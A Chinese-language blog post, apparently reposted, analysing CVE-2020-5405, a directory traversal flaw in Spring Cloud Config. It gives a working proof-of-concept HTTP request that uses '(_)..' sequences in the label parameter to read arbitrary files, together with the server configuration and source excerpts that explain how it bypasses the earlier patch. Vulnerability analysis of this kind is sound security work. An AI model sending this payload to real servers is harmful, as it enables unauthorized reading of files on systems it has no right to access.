• CVE-2020-5405 Spring Cloud Config 目录穿越漏洞分析


    CVE-2020-5405 Spring Cloud Config 目录穿越漏洞分析

    CVE-2020-5405 分析
    先放 本地 poc:
    GET /1/1/(_)..(_)..(_)c:/Temp/1.txt HTTP/1.1
    Host: 127.0.0.1:8888
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    DNT: 1
    Connection: close
    Upgrade-Insecure-Requests: 1
    

    然后需要更改本地环境 这个 cve 是 19 年上一个 cve 的绕过,不过不同的是 19 年的官方 demo 配置是绕不过的。

    本地环境设置

    在 resources 文件夹下面的 configserver.yml 设置如下

    info:
      component: Config Server
    spring:
      profiles:
        active: native
      application:
        name: configserver
      autoconfigure.exclude: org.springframework.boot.autoconfigure.jdbc.DataSourceAutoConfiguration
      jmx:
        default_domain: cloud.config.server
      cloud:
        config:
          server:
            native:
              search-locations:
                - file:///c:/T1emp
    server:
      port: 8888
    management:
      context_path: /admin
    
    

    需要开启 active 为 native,然后指定一个 search-locations。

    这次的绕过其实本质上是在上一个漏洞检查 path 的基础上,在 label 上通过特殊的方法,穿越了目录从而达到了任意文件读取。

    根据这次的 poc,可以看到,retrieve方法下面:

      if (name != null && name.contains("(_)")) {
       // "(_)" is uncommon in a git repo name, but "/" cannot be matched
       // by Spring MVC
       name = name.replace("(_)", "/");
      }
      if (label != null && label.contains("(_)")) {
       // "(_)" is uncommon in a git branch name, but "/" cannot be matched
       // by Spring MVC
       label = label.replace("(_)" , "/");
      }
    

    通过(_)在后端替换成/来达到目录穿越。 所以这次的 poc 是 path 固定为一个文件,在 label 上用..来跳跃

    看到图里的!isInvalidPath(local) && !isInvalidEncodedPath(local)应该是可以知道我找个版本是打了上次 19 年穿越漏洞的补丁的。 可以跨盘符读取。

    本文使用 mdnice 排版

  • 相关阅读:
    maven的安装教程
    webstorm的中文教程和技巧分享
    WebStorm
    grunt配置任务
    grunt快速入门
    CSS简介
    浅介HTML DOM
    【转】计算机是如何启动的?
    【转】深入理解C++中public、protected及private用法
    【转】VS2013动态库文件的创建及其使用详解
  • 原文地址:https://www.cnblogs.com/ph4nt0mer/p/13159172.html
Copyright © 2020-2023  润新知